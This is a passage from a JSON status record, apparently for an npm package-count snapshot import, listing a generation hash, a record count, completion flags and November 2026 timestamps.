counts","generation":"npm-f6b161b825bd02c4d85a20025f15e385f08d9727774eb866871eb8f3ef9e379f","complete":true,"records":231021,"lastAttemptAt":"2026-11-02T14:59:27.0921031+00:00","lastSuccessAt":"2026-11-02T14:59:25.6503802+00:00","error":null,"lastVerifiedAt":"2026-11-02T14:59:27.0921031+00:00","snapshotPublishedAt":"2026-11-02T14:33:25+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}